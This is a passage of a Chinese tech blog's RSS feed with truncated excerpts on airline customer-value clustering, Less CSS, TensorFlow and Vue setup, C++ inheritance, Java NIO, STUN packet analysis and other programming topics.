构建航空客户价值分析的关键特征&#xA;这种数据挖掘的目标是通过航空公司的客户数据识别客户价值，并识别具有不同价值的客户。首先，目标是客户价值识别。RFM模型是识别顾客价值最常用的模型，可以用来对顾客进行分类。数据挖掘的目标是客户价值分析，即通过航空公司客户数据识别具有不同价值的客户。识别客户价值最常用的模型是RFM模型。&#xA;R（Recency）指的是最近一次消费时间与截止时间的间隔。一般而言，最近一次消费时间与截止时间的间隔越短，说明对当时提供的商品或是服务也最有可能感兴趣。&#xA;F（Frequency）指顾客在某段时间内所消费的次数。可以说消费频率越高的顾客，也是满意度越高的顾客，其忠诚度也就越高，顾客价值也就越大。&#xA;M（Monetary）指顾客在某段时间内所消费的金额。消费金额越大的顾客，他们的消费能力自然也就越大，这就是所谓“20%的顾客贡献了80%的销售额”的二八法则&#xA;RFM模型包括三个特征，使用三维坐标系进行展示，如图所示。X轴表示最近（时间），Y轴表示频率，Z轴表示货币，每个轴一般会分成5级表示程度，1为最小，5为最大&#xA;转存失败重新上传取消正在上传…重新上传取消&#xA;然而，由于机票价格受距离、舱位等诸多因素的影响，同一金额对航空公司的价值也不尽相同。因此，我们需要对指标进行修订。在所选变量中，客舱系数=对应于客舱系数的平均折扣系数=c，距离系数=某段时间内的累计飞行里程=m。&#xA;考虑到航空公司的会员制会因用户的出勤时间长短而在一定程度上影响客户价值，增加指标L=成为会员时间长度=客户关系长度决定了五个指标。R代表客户最近一次消费距今时间长度，客户关系长度L（从入会之日算起），消费频率f、飞行里程m和折扣系数。以上指标是航空公司对客户价值的识别，称为LRFMC模型。&#xA;综上，本案例，采用聚类的办法进行识别客户价值，以LRFMC模型为基础该案例，总体流程如下图&#xA;挖掘步骤&#xA;从航空公司中，有选择地提取数据进行观察、探索性数据分析和预处理，包括缺失和异常值的分析和处理、属性说明、清理和转换。将处理后的数据作为建模数据，利用客流价值的LRFMC模型对客户进行聚类。然后分析每个客户群的特点，识别出有价值的客户。针对模型结果得到不同价值的客户，采用不同的营销手段，推送定制化的营销服务，重点维护老客户&#xA;数据抽取&#xA;选取两年的时间作为观察窗口&#xA;探索性分析&#xA;对航空公司的客户数据进行了探索和分析。主要分析缺失和异常数据。通过观察发现，有票价为0、折扣率为0、飞行公里数为0的数据。票价为空值，可能是不存在飞行记录，其他空值可能是，飞机票来自于积分兑换、特价0折优惠等渠道&#xA;查找每列属性观测值中空值的个数、最大值、最小值的代码如下&#xA;#-*- coding: utf-8 -*-&#xA;#对数据进行基本的探索&#xA;#返回缺失值个数以及最大最小值&#xA;import pandas as pd&#xA;datafile= &#39;../data/air_data.csv&#39; #航空原始数据,第一行为属性标签&#xA;resultfile = &#39;.</description>
    </item>
    <item>
      <title>前端菜鸟必学！less使用基础讲解</title>
      <link>https://bchobby.github.io/posts/b23edf342d7dd83a9e7a4cd5ace50198/</link>
      <pubDate>Sat, 23 May 2020 11:36:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b23edf342d7dd83a9e7a4cd5ace50198/</guid>
      <description>前端菜鸟必学！less使用基础讲解 概述使用方法语法简介嵌套规则实例 概述 less是动态的样式表语言,通过简单,明了的语法定义,使编写css 的工作变得非常简单,在实际项目开发中,大大提高了前端工程师的工作效率。&#xA;不过个人觉得less的编写过程较为复杂，若是在平时的小项目中大可不必使用它。但是在大型工程项目中可以实现高效的代码管理，所以less是前端工程师必学的内容之一。&#xA;使用方法 使用less语法将样式表达式写进格式为 .less 的文档中，再将less文档编译成css文档直接引入html中使用&#xA;编译文档我们需要一个 less 编译的工具：个人推荐使用（考拉）koala。&#xA;koala 的下载与安装: http://koala-app.com&#xA;使用方法十分简单，直接拖拽进去 点击编译即可在原文档路径下生成一个css文档，这里不多做介绍。&#xA;语法简介 学习less需要有css的基础，原因可通过下文实例自行思考&#xA;less 的注释有两种方法 /* */ 和 // 前一种会在 css 文件中显示，后一种不会在 css 显示 嵌套规则 变量延迟加载：同级属性加载完后加载变量 ，从上往下加载。&#xA;@var: 0; .class { @var: 1; .brass { @var: 2; three: @var; //=3 @var: 3; } one: @var; //=1 } 定义一个变量，并为它赋上默认参数：&#xA;// 形参 实参 都可以写默认参数： @w：10px .box1(@w:100px,@h:100px,@c:pink){ &amp;amp;:extend(.common all); width: @w; height: @h; background: @c; 实例 @zero:0; @selector:wrap; @url:&#34;</description>
    </item>
    <item>
      <title>为什么电脑唯独搜不到自己家wifi？</title>
      <link>https://bchobby.github.io/posts/ddd7ea51a5a167803912e9ef27a33545/</link>
      <pubDate>Fri, 22 May 2020 18:46:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ddd7ea51a5a167803912e9ef27a33545/</guid>
      <description>转载自品略图书馆 http://www.pinlue.com/article/2020/05/2213/2410586244619.html&#xA;电脑唯独搜不到自己家wifi，别人家的都能搜到，手机也可以搜到自己家的，就是电脑不可以，之前连别的地方的wifi都是可以的，还有别人的电脑是可以连上的。win10系统的&#xA;为了你这个问题我专门注册了一个知乎账号，我遇到了相同的问题，我的解决方法是将路由器的信道由13修改为11,国内有些设备无法连接 12 或者是13信道。&#xA;设备：华硕FL5800L&#xA;系统：WINDOWS 10&#xA;电脑搜索不到自己家里的wifi&#xA;1打开电脑发现无线网络未连接&#xA;2打开无线网络列表找不到家里的wifi，但是其他wifi都可以搜索到&#xA;3手机连家里的wifi没有问题&#xA;4百度各种解决办法尝试未果(这一步可以忽略 其实也没有什么特别的设置)&#xA;5重启路由器，完成向导&#xA;6手机依然连上了wifi&#xA;7电脑还是搜索不到家里的wifi，但是其他wifi都可以搜索到&#xA;不知道哪里出了问题，就是打开电脑然后发现居然wifi断了，这样。 以前也出现过一次这样的情况，打开电脑wifi断了搜索不到家里的wifi但是手机可以连上。那次重启路由器，完成向导之后，电脑就搜索到了连上了。电脑是mac，没有连网线的插口。求解决！！&#xA;进入路由器设置页面更改频道后问题就解决了。&#xA;奇怪的是 原本的频道设置为 自动 ，以前也没有问题。而且 尝试了频道设置为1和2，就都能搜得到我的wifi了，改回为自动后，又搜不到我的wifi了，这是为什么呢？&#xA;1、先进无线网络链接属性里,把IP和DNS都设置为自动获取。再链接看看&#xA;是否可以正常链接并上网；&#xA;2、其次到设备管理器，找到无线网卡设备，右键卸载，并删除此驱动程序&#xA;软件【下面打钩】；完后再到您笔记本官网,下载型号一致最新版本的无线&#xA;网卡驱动安装，重启本本再链接看看是否可以正常链接；&#xA;3、若还木有解决，用360安全卫士里的【断网急救箱】的功能进行修复应&#xA;该就可以解决了。&#xA;4、若还木有解决，那可能与路由器设置有关了。您先重启下路由器，然后&#xA;登录路由器界面。在无线设置选项下,把无线加密方式、信道、模式、频段&#xA;都更换另外的参数；还有开启DHCP服务功能。再重启路由看看是否解决。&#xA;还木有解决就恢复路由器出厂设置,看看是否可以正常链接。相关操作教程&#xA;可参考说明书，或者百度搜索。</description>
    </item>
    <item>
      <title>变量的命名规则和命名规范</title>
      <link>https://bchobby.github.io/posts/0ca3ea0e4d948f0213cf32fba44db8c9/</link>
      <pubDate>Fri, 22 May 2020 16:31:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0ca3ea0e4d948f0213cf32fba44db8c9/</guid>
      <description>变量的命名规则和命名规范&#xA;规则:（必须遵守的，不遵守就是错）&#xA;1.一个变量名称可以由数字、字母、下划线、美元符号($) 组成&#xA;2.严格区分大小写&#xA;3.不能由数字开头,不要使用中文汉字命名&#xA;4.不能是保留字或者关键字&#xA;5.不要出现空格&#xA;规范:（建议遵守的，不遵守不会报错）&#xA;1.变量名尽量有意义(语义化)&#xA;2.遵循驼峰命名规则，由多个单词组成的时候,从第二个单词开始首字母 大写，如countNum&#xA;变量的定义&#xA;变量:存储数据的容器&#xA;变量声明: var num;&#xA;变量的赋值: num = 10&#xA;定义变量的方式:&#xA;显示定义:&#xA;var num1 = 10&#xA;console. log (num1)&#xA;隐式定义:&#xA;num2=20&#xA;console. log (num2)&#xA;两种定义的区分:&#xA;显示定义在没有赋值的情况下可以使用，打印的是undefined。而隐式定义在没有赋值的情况下会报错。隐式定义变量在使用的时候必须先赋值</description>
    </item>
    <item>
      <title>Tensorflow安装教程 傻瓜式一键安装</title>
      <link>https://bchobby.github.io/posts/9f41f0a998ab37eb439019a915cafb28/</link>
      <pubDate>Fri, 22 May 2020 01:08:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9f41f0a998ab37eb439019a915cafb28/</guid>
      <description>最近又在鼓捣tensorflow，搞到一个比较简单的安装方法，在这里分享一下&#xA;之前在网上看到的tensorflow安装教程，尤其是GPU版因为依赖cuda和cudnn，所以很多教程都是分开单独安装，很多小伙伴搞不清楚一不小心就会有版本冲突问题，这里介绍一个简单的方法&#xA;1. 安装anaconda，安装就不过多赘述，按各自需要安装就好 anaconda官网下载安装&#xA;2. anaconda配置 打开cmd切换到国内的镜像源（为什么要切换原因不用我说了吧...）&#xA;切换成清华的镜像 conda config --add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/free/ conda config --add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/main/ 切换成中科大的镜像 conda config --add channels https://mirrors.ustc.edu.cn/anaconda/pkgs/free/ conda config --add channels https://mirrors.ustc.edu.cn/anaconda/pkgs/main/ 注意！如果切换镜像后当出现下载不了的情况，就先切换默认源，然后再修改另一个可以使用的conda源（一定要先恢复默认，再换另一个！！！）&#xA;切回默认源 conda config --remove-key channels 其他镜像网站可以自行上网搜索&#xA;3. TensorFlow安装 这里建议安装tensorflow 1.15的版本，需要安装其他版本的只需要在安装tensorflow的命令行中修改对应版本号即可。&#xA;打开cmd运行，首先创造tensorflow 1.15需要的环境&#xA;conda create -n tensorflow pip python=3.6 激活TensorFlow环境&#xA;activate tensorflow 用conda安装tensorflow&#xA;CPU版输入 conda install tensorflow=1.15.0 GPU版输入 conda install tensorflow-gpu=1.15.0 （重点！）选择conda安装而不用pip安装，是因为在安装tensorFlow-gpu版的过程中，它会自动配置对应版本号的cuda和cudnn，而不需要再单独安装&#xA;（这里截图是tensorflow1.12的安装过程，因为我的电脑只能支持cuda9.0，安装tensorflow1.15的过程也是这样，只是cuda版本号会不一样而已）&#xA;然后等待安装完成就好了，不能装gpu版的就老老实实装cpu版！！！&#xA;之前作为第一次安装tensorflow的人也踩了不少坑，这算是我目前看到的最简单也最不容易出错的一个安装方法吧，如果有小伙伴还没装过，或者安装出错解决不了的都可以试一试&#xA;happy coding~</description>
    </item>
    <item>
      <title>计算机组成运算器实验：8位可控加减法电路、4位先行进位电路、4、16、32位快速加法器</title>
      <link>https://bchobby.github.io/posts/2451329eefff882b3221d0f67a3afb40/</link>
      <pubDate>Thu, 21 May 2020 23:02:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2451329eefff882b3221d0f67a3afb40/</guid>
      <description> 电路1— 8位可控加减法电路 在 Logisim 模拟器中打开 alu.circ 文件，在对应子电路中利用已经封装好的全加器设计8位串行可控加减法电路，可以直接使用在电路中使用对应的隧道标签，其中 X，Y 为两输入数，Sub 为加减控制信号，S 为运算结果输出，Cout 为进位输出，OF 为有符号运算溢出位。&#xA;实验原理 1.电路1&#xA;（1）overflow：&#xA;（2）1位加法逻辑电路：&#xA;1位全加器：&#xA;（3）N位加法器：&#xA;（4）运算控制器：Sub=0 时作加法，Sub=1 时作减法。[−Y]补= [ [Y]补 ]补，对 [Y]补逐位取反, 再在最低位加 1（体现在最右边的sub连接到最低位cin,此时sub=1,做减法）&#xA;（5）可控加减法电路&#xA;各位逐位相加，进位从右至左传递。&#xA;实验电路  电路2— 4位先行进位电路 在 Logisim 中打开 alu.circ 文件，按照图中定义的输入输出引脚，在对应子电路中实现可级联的4位先行进位电路。其中 Gi，Pi 为进位生成函数和传递函数，Cin 为进位输入，C1~C4 为进位输出，G，P 为成组进位生成函数和成组进位传递函数。&#xA;实验原理 （1）并行加法器&#xA;进位输出仅与最低位进位输入C0有关(Cn=Gn＋PnGn-1＋PnPn-1Gn-2＋PnPn-1Pn-2Gn-3 …＋PnPn-1…P1C0)，而不是依赖于低位进位（Cn= Gn ＋ Pn Cn-1）。&#xA;并行加法器进位链：（注意：Ci都是先行进位输出，是中间变量。而不是Si）&#xA;C1 = X1Y1+(X1⊕Y1)C0=G1+P1C0&#xA;C2 = X2Y2+(X2⊕Y2)C1=G2+P2C1=G2+P2(G1+P1C0)=G2+P2G1+P2P1C0&#xA;C3 = X3Y3+(X3⊕Y3)C2=G3+P3G2+P3P2G1+P3P2P1C0&#xA;C4 = X4Y4+(X4⊕Y4)C3=G4+P4C3=G4+P4(G3+P3G2+P3P2G1+P3P2P1C0)&#xA;= G4+P4G3+P4P3G2+P4P3P2G1+P4P3P2P1C0&#xA;G4 = G4+P4G3+P4P3G2+P4P3P2G1（成组进位生成函数）</description>
    </item>
    <item>
      <title>贝叶斯估计推理</title>
      <link>https://bchobby.github.io/posts/5ddbd8075329be16247bd5ab70c608e4/</link>
      <pubDate>Thu, 21 May 2020 21:49:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5ddbd8075329be16247bd5ab70c608e4/</guid>
      <description>简介 贝叶斯定理是18世纪英国数学家托马斯·贝叶斯（Thomas Bayes）提出得重要概率论理论。以下摘一段 wikipedia 上的简介：&#xA;所谓的贝叶斯定理源于他生前为解决一个“逆概”问题写的一篇文章，而这篇文章是在他死后才由他的一位朋友发表出来的。在贝叶斯写这篇文章之前，人们已经能够计算“正向概率”，如“假设袋子里面有 N 个白球，M 个黑球，你伸手进去摸一把，摸出黑球的概率是多大”。而一个自然而然的问题是反过来：“如果我们事先并不知道袋子里面黑白球的比例，而是闭着眼睛摸出一个（或好几个）球，观察这些取出来的球的颜色之后，那么我们可以就此对袋子里面的黑白球的比例作出什么样的推测”。这个问题，就是所谓的逆向概率问题。&#xA;贝叶斯定理的思想出现在18世纪，但真正大规模派上用途还得等到计算机的出现。因为这个定理需要大规模的数据计算推理才能凸显效果，它在很多计算机应用领域中都大有作为，如自然语言处理，机器学习，推荐系统，图像识别，博弈论等等。&#xA;定义 贝叶斯定理是关于随机事件 A 和 B 的条件概率：&#xA;其中P(A|B)是在 B 发生的情况下 A 发生的可能性。&#xA;在贝叶斯定理中，每个名词都有约定俗成的名称：&#xA;P(A)是 A 的先验概率，之所以称为“先验”是因为它不考虑任何 B 方面的因素。&#xA;P(A|B)是已知 B 发生后 A 的条件概率，也由于得自 B 的取值而被称作 A 的后验概率。&#xA;P(B|A)是已知 A 发生后 B 的条件概率，也由于得自 A 的取值而被称作 B 的后验概率。&#xA;P(B)是 B 的先验概率，也作标淮化常量（normalizing constant）。&#xA;按这些术语，贝叶斯定理可表述为：&#xA;后验概率 = (相似度 * 先验概率)/标淮化常量 也就是说，后验概率与先验概率和相似度的乘积成正比。&#xA;另外，比例P(B|A)/P(B)也有时被称作标淮相似度（standardised likelihood），Bayes定理可表述为：&#xA;后验概率 = 标淮相似度 * 先验概率 条件概率就是事件 A 在另外一个事件 B 已经发生条件下的发生概率。条件概率表示为P(A|B)，读作“在 B 发生的条件下 A 发生的概率”。</description>
    </item>
    <item>
      <title>50_菱形继承</title>
      <link>https://bchobby.github.io/posts/bedf048d2927ab58f20f75e63b7120f4/</link>
      <pubDate>Thu, 21 May 2020 21:46:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bedf048d2927ab58f20f75e63b7120f4/</guid>
      <description> 具有公共祖先 的多继承&#xA;class Animal { public: int data; }; class Sheep:public Animal { public: }; class Tuo:public Animal { public: }; class SheepTuo:public Sheep,public Tuo { public: }; int main(int argc, char *argv[]) { SheepTuo st; //SheepTuo 从Sheep中继承data 从Tuo继承data 就产生二义性 //st.data = 200;//err //第一中方式：加作用域解决 st.Sheep::data = 200; st.Tuo::data = 300; return 0; } 普通继承：&#xA;class Animal { public: int data; }; class Sheep:public Animal { public: }; class Tuo:public Animal { public: }; class SheepTuo:public Sheep,public Tuo { public: }; </description>
    </item>
    <item>
      <title>49_多继承</title>
      <link>https://bchobby.github.io/posts/841f2cbd7d7f902bc8ba0ef2c2a56be4/</link>
      <pubDate>Thu, 21 May 2020 21:17:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/841f2cbd7d7f902bc8ba0ef2c2a56be4/</guid>
      <description>多继承的格式&#xA;class 子类: 继承方式1 父类名1,继承方式2 父类名2,继承方式3 父类名3,.... { }; //表示子类 是由 父类名1,父类名2,父类名3...共同派生出来 class Base1 { public: int a; }; class Base2 { public: int b; }; class Son:public Base1,public Base2 { //Son类 拥有了a b }; int main(int argc, char *argv[]) { Son ob; ob.a = 100; ob.b = 200; return 0; } 多继承容易产生二义性： （解决办法1 使用作用域）&#xA;class Base1 { public: int a; }; class Base2 { public: int a; }; class Son:public Base1,public Base2 { }; int main(int argc, char *argv[]) { Son ob; //ob.</description>
    </item>
    <item>
      <title>48_继承中的静态成员特性</title>
      <link>https://bchobby.github.io/posts/f415f5955c15f0ed4d18eb0ab731f6dd/</link>
      <pubDate>Thu, 21 May 2020 21:15:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f415f5955c15f0ed4d18eb0ab731f6dd/</guid>
      <description>class Base { public: //静态成员属于类 而不属于对象 static int num; static int data; static void showData(void); }; int Base::num = 100; int Base::data = 200; class Son:public Base { public: static int data;//父和子类 静态成员 同名 static void showData(void); }; int Son::data = 300; void test01() { //从Base类中访问 cout&amp;lt;&amp;lt;Base::num&amp;lt;&amp;lt;endl; // Son 也拥有了静态成员num cout&amp;lt;&amp;lt;Son::num&amp;lt;&amp;lt;endl; //父和子类 静态成员 同名 在子类中 访问子类中的成员 cout&amp;lt;&amp;lt;Son::data&amp;lt;&amp;lt;endl;//200 //父和子类 静态成员 同名 访问父类中的成员 必须加 Base:: cout&amp;lt;&amp;lt;Son::Base::data&amp;lt;&amp;lt;endl;//200 //父和子类 同名静态成员函数 子类默认访问子类的静态成员函数 Son::showData(); //父和子类 同名静态成员函数 子类访问父类的静态成员函数 必须加 Base:: Son::Base::showData(); } 运行结果：</description>
    </item>
    <item>
      <title>VUE 项目安装</title>
      <link>https://bchobby.github.io/posts/ca3a10edd83cfb554ed7737ab28e1ba8/</link>
      <pubDate>Thu, 21 May 2020 19:12:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ca3a10edd83cfb554ed7737ab28e1ba8/</guid>
      <description>第一步：安装 vue-cli&#xA;npm install -g @vue/cli-service-global 第二步：创建vue项目&#xA;vue create kekou //（kekou=&amp;gt;项目名称） defalut(默认) Manually(手动) 相比于默认选择，可口更倾向于选择手动添加(让我们下滑选中 Manually select features )&#xA;? Please pick a preset: Manually select features ? Check the features needed for your project: (Press &amp;lt;space&amp;gt; to select, &amp;lt;a&amp;gt; to toggle all, &amp;lt;i&amp;gt; to invert selection) &amp;gt;(*) Babel // 将最新版的js语法（es6、es7）转换为现阶段浏览器可以兼容的js代码 ( ) TypeScript // 使用ts语法 ( ) Progressive Web App (PWA) Support //渐进式WEB应用 https://developer.mozilla.org/zh-CN/docs/Web/Progressive_web_apps (*) Router // vue 路由 (*) Vuex // vue 中间键 (*) CSS Pre-processors // css 预处理器 （Scss Sass stylus Less） (*) Linter / Formatter //代码规范标准 ( ) Unit Testing //单元测试 ( ) E2E Testing //e2e测试 键盘上下箭头切换，空格选中。选择好后，回车确定；</description>
    </item>
    <item>
      <title>shell如何获取命令输出</title>
      <link>https://bchobby.github.io/posts/0c76a4c2034a6308266ed44bb8008d61/</link>
      <pubDate>Thu, 21 May 2020 15:30:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0c76a4c2034a6308266ed44bb8008d61/</guid>
      <description>将一条命令的执行结果取得命令执行结果的值有：&#xA;1、使用反引号`` (数字键1左边的键，tab键上面，英文方式输入) 如：a=echo &#34;hello world&#34;;即将命令 echo &#34;hello world&#34;的输出赋给变量a2、可以使用 ( ( ) ) ， 如 ： a = (())，如：a= (())，如：a=(echo “hello world”)，即将命令echo &#34;hello world&#34;的输出赋给变量a。</description>
    </item>
    <item>
      <title>8B/10B Encode/Decode详解（转）</title>
      <link>https://bchobby.github.io/posts/82ec8ee107df3eb91ea5e3fb8ccd1ec0/</link>
      <pubDate>Thu, 21 May 2020 11:55:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/82ec8ee107df3eb91ea5e3fb8ccd1ec0/</guid>
      <description>https://www.cnblogs.com/YINBin/p/11011232.html&#xA;1、编码技术基础理论&#xA;在高速的串行数据传输中，传送的数据被编码成自同步的数据流，就是将数据和时钟组合成单一的信号进行传送，使得接收方能容易准确地将数据和时钟分离，而且要达到令人满意的误码率，其关键技术在于串行传输中数据的编码方法。&#xA;目前， 高速接口正在被广泛应用于包括 SATA、 SAS、 高速 PCI 等多种标准中。 这些接口的速率甚至可以达到并超过每线 10Gbits/s。 同时， 所有主流 ASIC 和 FPGA 平台也都支持这些高速接口技术。 从结构上看， 这些高速接口主要包括三个组成部分：&#xA;1） 电路部分（串行/解串行）&#xA;2） 物理部分（实现编码）&#xA;3） 链路与协议部分（高层）&#xA;支持多速率、 多协议的串行/解串行器已经实现。 以 OIF（光互联论坛） 为例， 他们已经为两组速率制定了电路规范， 分别为 5Gbits/s- 6.375Gbits/s 和 10Gbits/s-11Gbits/s。 OIF 同样为两种应用距离制定了规范， 分别为短距离（采用一个连接器， 8 英寸） 和长距离（采用两个连接器， 40 英寸）。 串行/解串行器还可以被设计用来满足更多的规范， 包括不同的速率、距离、 电路规格等等。&#xA;物理部分的主要任务是对数据进行编码， 以保证串行/解串行器的正常运行。 这些编码的目的包括： 确保必须的变换（“1” 到“0” 和“0” 到“1” 的变换）， 保证稳定的直流均衡（“0” 码与“1” 码的个数相当）， 以及满足其它标准的要求（最大化信道带宽利用率， 提高对误差的容忍能力等等）。&#xA;在光纤通信中， 线路编码是必要的， 因为电端机输出的数字信号是适合电缆传输的双极性码， 而光源不能发射负脉冲， 只能用光脉冲的“有” 和“无” 来表示二进制码中的“1”和“0&#34;。 该方法虽然简单， 却存在三个问题：</description>
    </item>
    <item>
      <title>【Java】NIO和BIO有什么区别？回答：天壤之别</title>
      <link>https://bchobby.github.io/posts/bef4dff91ef71221384b38ad31b8ea87/</link>
      <pubDate>Thu, 21 May 2020 10:28:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bef4dff91ef71221384b38ad31b8ea87/</guid>
      <description>引流：第一时间阅读最新文章的方式！&#xA;【Java】NIO和BIO有什么区别？答案：天壤之别&#xA;【Java】NIO不简单呐，Channel、Buffer、Selector&#xA;一、什么是NIO 1.概念 NIO是java1.4中引入的，被称为new I/O，也有说是non-blocking I/O，NIO被成为同步非阻塞的IO。&#xA;2.跟BIO流的区别 BIO是面向流的，NIO是面向块（缓冲区）的。BIO的流都是同步阻塞的，而NIO是同步非阻塞的。NIO会等待数据全部传输过来再让线程处理，BIO是直接让线程等待。NIO有选择器，而BIO没有。NIO是采用管道和缓存区的形式来处理数据的，而BIO是采用输入输出流来处理的。NIO是可以双向的，BIO只能够单向。 二、NIO常用组件Channel和Buffer的使用 1.代码 这里以文件复制为例&#xA;public class test { public static void main(String[] args){ try{ //存在的照片 File inFile=new File(&#34;C:\\Users\\Administrator\\Desktop\\study.PNG&#34;); //复制后要存放照片的地址 File outFile=new File(&#34;C:\\Users\\Administrator\\Desktop\\study1.PNG&#34;); //打开流 FileInputStream fileInputStream=new FileInputStream(inFile); FileOutputStream fileOutputStream=new FileOutputStream(outFile); /** * RandomAccessFile accessFile=new RandomAccessFile(inFile,&#34;wr&#34;); * FileChannel inFileChannel=accessFile.getChannel(); * 和下面两行代码是一样的，都是可以拿到FileChannel */ //获取Channel FileChannel inFileChannel=fileInputStream.getChannel(); FileChannel outFileChannel=fileOutputStream.getChannel(); //创建buffer ByteBuffer buffer=ByteBuffer.allocate(1024*1024); //读取到buffer中 while (inFileChannel.read(buffer)!=-1){ //翻转一下，就可以读取到全部数据了 buffer.flip(); outFileChannel.write(buffer); //读取完后要clear buffer.clear(); } //关闭 inFileChannel.close(); outFileChannel.close(); fileInputStream.</description>
    </item>
    <item>
      <title>从零开始编译ortp</title>
      <link>https://bchobby.github.io/posts/97bb12e1c1db56d5be04f88215943735/</link>
      <pubDate>Wed, 20 May 2020 09:14:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/97bb12e1c1db56d5be04f88215943735/</guid>
      <description>【版权申明】转载请附上出处链接 从零开始编译ortp ortpde的编译需要依赖其他的库, 依赖关系如下:&#xA;bctoolbox&#xA;bcunit&#xA;mbedtls&#xA;故我们在编译ortp之前, 需要依次编译bcunit, mbedtls, bctoolbox.&#xA;1. 编译BCUnit git clone https://gitee.com/submodules/bcunit.git (下载之后进入目录, 将README.mk更改为README, 防止autogen漏生成Makefile.in) ./autogen.sh ./configure --prefix=/home/Craftsman/ortp_prjs/deps/bcunit/OUTPUT make make install 2. 编译mbedtls git clone https://github.com/ARMmbed/mbedtls.git vi Makefile 将第一个行的DESTDIR=/usr/local修改为/home/Craftsman/ortp_prjs/deps/mbedtls/OUTPUT make SHARED=1 make install 3. 编译bctoolbox $git clone git://git.linphone.org/bctoolbox.git $cmake . -DCMAKE_INSTALL_PREFIX=$(TARGET_DIR) -DCMAKE_PREFIX_PATH=$(TARGET_DIR) -DCC=$(CC) -DENABLE_TESTS_COMPONENT=NO -DENABLE_DECAF=NO $make $make install 编译bctoolbox遇到的问题:&#xA;aclocal: 未找到命令&#xA;解: sudo apt-get install automakeconfigure.ac:30: error: Autoconf version 2.65 or higher is required&#xA;解: 安装Autoconf</description>
    </item>
    <item>
      <title>wireshake分析stun协议</title>
      <link>https://bchobby.github.io/posts/8a40ffd36467a0db80195b9fc597f843/</link>
      <pubDate>Wed, 20 May 2020 02:47:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8a40ffd36467a0db80195b9fc597f843/</guid>
      <description>不知道为什么，我用wireshake过滤stun协议过滤不出来，抓包发现解析出来的和3478端口交互的都是udp的数据，弄个半天没弄好，想着udp就udp吧，反正是为了学习，顺道写篇博客记录一下。&#xA;过滤掉UDP包头后，前两位是0，对应stun协议的前两位，前两个字节整体为0x0001 是bind request请求&#xA;这两个字节为0，说明这个请求的消息只有头部，没有body，没错。&#xA;这一段，前面4字节是cookie，后面 Transaction Id 记录下就行，和响应等会对比下&#xA;这个是从3478发往本地的包，照例过滤出UDP的包头后，0101不就是bind reponse么，&#xA;这是stun消息体的长度，算一下，68字节，记录记录&#xA;这一长串是cookie 和 Transaction Id ，比较一下21 12 a4 42 37 76 79 72 74 57 6d 68 4f 58 71 44 没错，他就是刚才那个请求的响应。&#xA;剩下的就是message body了，先数一下看包头对应的length对不对，一行16字节，16*4+4=68，没错，看来目前分析的还是正确的，&#xA;接下来看看message body中的各个attributes,attributes采用TLV编码，一个一个看&#xA;type是0x0020,查一下0x0020:XOR-MAPPED-ADDRESS，这个貌似是老版本才有的，先不管了，先分析着。0x0080 是长度， 说明后面8字节就对应ip和端口，就不分析了接着分析下一条属性&#xA;跳过上一个属性的IP和端口那八个字节可以看到是type是0x0001，对应MAPPED-ADDRES，这个就是我们通过coturn映射出来的地址，嘿嘿，length也是0x0008，照例跳过下面的八个字节的ip和端口，&#xA;这个属性的type是0x802b,length还是0x0008,RESPONSE-ORIGIN，看来这几个属性格式都一样。&#xA;我靠！！！，这时候瞎点突然发现，右键点击协议首选项，选择stun协议，tcp默认端口是3478,udp默认的不是，这里试着修改为3478,确定之后，我哭了，原来问题在这里，终于能过滤出来stun包了。&#xA;不过对着UDP分析了半天，这边一对照发现，分析的没错，那也挺好，印象更深刻了。&#xA;好了好了，再记录一下这篇博客，分析stun协议可以对照这个博客分析。&#xA;STUN协议解析</description>
    </item>
    <item>
      <title>PyCharm 的初始设置及基本使用</title>
      <link>https://bchobby.github.io/posts/51c23620b9ff8f2533f8cee097e1a3e1/</link>
      <pubDate>Tue, 19 May 2020 23:27:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/51c23620b9ff8f2533f8cee097e1a3e1/</guid>
      <description>PyCharm 的初始设置说明 目标 PyCharm 的初始设置说明目标01. 恢复 PyCharm 的初始设置02. 第一次启动 PyCharm2.1 导入配置信息2.2 选择许可协议2.3 PyCharm 的配置初始界面2.4 欢迎界面 03. 新建/打开一个 Python 项目3.1 项目简介3.2 打开 Python 项目3.3 设置项目使用的解释器版本3.4 新建项目 04. 设置 PyCharm 的字体显示05. PyCharm 的升级以及其他5.1 安装和启动步骤5.2 设置专业版启动图标5.3 卸载之前版本的 PyCharm5.4 教育版安装演练1. 解压缩下载后的安装包2. 将解压缩后的目录移动到 `/opt` 目录下，可以方便其他用户使用3. 启动 `PyCharm`5.5 设置启动图标 PyCharm 注释目标01. 注释的作用02. 单行注释(行注释)这是第一个单行注释 在代码后面增加的单行注释03. 多行注释（块注释）什么时候需要使用注释？关于代码规范 pycharm的基本使用Pycharm的基本使用 目标 PyCharm 的官方网站地址是：https://www.jetbrains.com/pycharm/第一次启动 PyCharm新建一个 Python 项目设置 PyCharm 的字体显示PyCharm 的升级以及其他 PyCharm 的官方网站链接： https://www.jetbrains.com/pycharm/&#xA;01. 恢复 PyCharm 的初始设置 PyCharm的 配置信息 是保存在 用户家目录下 的 .</description>
    </item>
    <item>
      <title>六、Hive-DML数据导入导出操作</title>
      <link>https://bchobby.github.io/posts/ae719738986dae727f799383ef9b532a/</link>
      <pubDate>Tue, 19 May 2020 22:29:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ae719738986dae727f799383ef9b532a/</guid>
